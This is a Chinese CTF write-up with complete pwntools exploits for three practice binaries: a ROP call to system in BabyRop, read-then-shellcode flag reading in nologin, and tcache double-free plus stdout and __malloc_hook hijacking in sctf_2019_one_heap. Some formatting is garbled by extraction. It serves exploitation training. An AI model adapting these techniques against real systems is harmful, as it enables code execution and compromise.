羊城杯复现 BabyRop 有溢出,有system,有/cin/sh(只用sh即可)。
exp: 1 2 3 4 5 6 7 8 9 10 11 from pwn import *context.log_level='debug' r=process('./BabyRop' ) elf=ELF('./BabyRop' ) gdb.attach(r) p='a' *28 +'b' *4 +p32(0x80490a4 )+p32(1 )+p32(0x804C029 ) r.sendline(p) r.interactive()
nologin main函数
主要看sub_400f87这个函数
这里注意v1,然后看sub_40095d函数
看出可以溢出,但只能溢出16个字节。
可以直接改返回地址为read_plt,将内容写到rsi对应地址里,再call rsi;
1 payload='aaaasaaaaaaaa' +p64(elf.plt['read' ])+p64(call_rsi)
read内容(只能写入0x1d个字节):利用syscall将orw写入一个空余地址并且迁移:
1 2 3 4 5 6 7 8 9 shellcode=asm(''' xor rax, rax; push r11; pop rdx; mov rsi, 0x602100; syscall; add rsi, 24; #根据orw调整 jmp rsi; ''' )
orw:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 shellcode1=asm(''' xor rax, rax; mov rax, 2; sub rsi, 0x14; mov rdi, rsi; xor rsi, rsi; syscall; mov rdi, rax; xor rax, rax; mov rsi, 0x602300; mov rdx, 0x30; syscall; mov rax, 1; mov rdi, 1; syscall; ''' )r.sendline('b' *11 +'./flag\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' +shellcode1)
exp: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 from pwn import *from LibcSearcher import *context(arch='amd64' , os='linux' ) r=process('./nologin' ) elf=ELF('./nologin' ) r.sendline('2' ) sleep(0.1 ) gdb.attach(r) main=0x40106B call_rsi=0x40186b payload='aaaasaaaaaaaa' +p64(elf.plt['read' ])+p64(call_rsi) r.sendline(payload) shellcode=asm(''' xor rax, rax; push r11; pop rdx; mov rsi, 0x602100; syscall; add rsi, 24; jmp rsi; ''' )r.sendline(shellcode) shellcode1=asm(''' xor rax, rax; mov rax, 2; sub rsi, 0x14; mov rdi, rsi; xor rsi, rsi; syscall; mov rdi, rax; xor rax, rax; mov rsi, 0x602300; mov rdx, 0x30; syscall; mov rax, 1; mov rdi, 1; syscall; ''' )r.sendline('b' *11 +'./flag\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' +shellcode1) r.interactive()
buu刷题: sctf_2019_one_heap 1.main
2.add
只能add15次。
3.dele
只能dele4次
步骤 1.首先还是构造unsorted bin与tcache bin重合的布局,由于delete次数只能用4次,我们先double free,然后多次add,使得tcache bin对应的count计数变为负数。由于count为无符号数,因此count>7将成立。从而,我们接下来free的时候就能得到unsorted bin。
1 2 3 4 5 6 7 8 9 10 add(0x7f ,'aaaaaa' +'\n' ) dele() dele() add(0x10 ,'sss' +'\n' ) dele() add(0x20 ,'ss' +'\n' ) add(0x7f ,'\n' ) add(0x7f ,'\n' ) add(0x7f ,'\n' ) dele()
2.然后就是修改next指针,申请到_IO_2_1_stdout进行劫持来泄露数据了。接下来,delete功能已经用完了。我们还得想办法控制chunk1的next域。此时,用到了*unsorted bin expand* *** *的方法,即将**unsorted bin* **** *的**size* **** *篡改大****,将chunk1给包含进来,然后通过分配,使得分配的chunk与free状态的chunk1重合,这样,我们就能控制chunk1的next指针,指向malloc_hook,然后改写即可。
exp: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 from pwn import *from LibcSearcher import *context.log_level='debug' r=remote('node4.buuoj.cn' ,25679 ) elf=ELF('./sctf_2019_one_heap' ) libc=ELF('./libc-2.27.so' ) _IO_2_1_stdout_s = libc.symbols['_IO_2_1_stdout_' ] malloc_hook_s = libc.symbols['__malloc_hook' ] realloc_s = libc.sym['realloc' ] one_gadget_s = 0x10a38c def add (size,test ): r.sendlineafter(':' ,'1' ) r.sendlineafter(':' ,str (size)) r.sendafter(':' ,test) def dele (): r.sendlineafter(':' ,'2' ) add(0x7f ,'aaaaaa' +'\n' ) dele() dele() add(0x10 ,'sss' +'\n' ) dele() add(0x20 ,'ss' +'\n' ) add(0x7f ,'\n' ) add(0x7f ,'\n' ) add(0x7f ,'\n' ) dele() add(0x20 ,p16((0x5 << 0xC ) + (_IO_2_1_stdout_s & 0xFFF ))+'\n' ) add(0x7F ,'a' *0x20 + p64(0 ) + p64(0x81 )+'\n' ) add(0x7F ,p64(0x0FBAD1887 ) +p64(0 )*3 + p8(0x58 )+'\n' ) libc_base = u64(r.recv(6 ).ljust(8 ,'\x00' )) - 0x3E82A0 malloc_hook_addr = libc_base + malloc_hook_s one_gadget_addr = libc_base + one_gadget_s realloc_addr = libc_base + realloc_s add(0x70 ,'a' *0x60 + p64(malloc_hook_addr - 0x8 )+'\n' ) print hex (libc_base)add(0x10 ,'a\n' ) add(0x10 ,p64(one_gadget_addr) + p64(realloc_addr+4 )) add(0 ,'' ) r.interactive()